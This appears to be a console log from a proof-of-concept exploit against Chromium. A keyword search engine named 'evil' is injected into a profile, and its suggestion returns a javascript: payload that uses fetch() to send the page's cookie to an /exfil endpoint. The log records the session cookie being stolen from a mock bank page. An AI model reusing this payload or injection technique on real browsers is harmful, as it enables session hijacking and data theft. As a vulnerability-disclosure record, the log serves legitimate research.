[server] listening on http://127.0.0.1:8765 [poc] launching Chrome to create profile... [poc] injecting keyword engine into /tmp/chrome-poc-profile/Default/Web Data [poc] engine "evil" injected (id=1000) [poc] launching Chrome on victim page... [server] "GET /victim HTTP/1.1" 200 - [server] "GET /favicon.ico HTTP/1.1" 404 - [poc] Chrome window: 0x3200004 [poc] Ctrl+L [poc] typing "evil x" [server] SUGGEST -> javascript:void(fetch('http://127.0.0.1:8765/exfil?'+encodeURIComponent(document [server] "GET /suggest?q=x HTTP/1.1" 200 - [poc] Arrow-Down x1 [poc] Enter ====================================================================== [server] *** EXFIL RECEIVED *** http://127.0.0.1:8765|SESSION=topsecret-1234 ====================================================================== [server] "GET /exfil?http%3A%2F%2F127.0.0.1%3A8765%7CSESSION%3Dtopsecret-1234 HTTP/1.1" 200 - [poc] window title after Enter: b'Victim Bank - Chromium' ======================================================================== [poc] SUCCESS: javascript: NAVSUGGEST executed in victim origin [poc] exfil: http://127.0.0.1:8765|SESSION=topsecret-1234 ========================================================================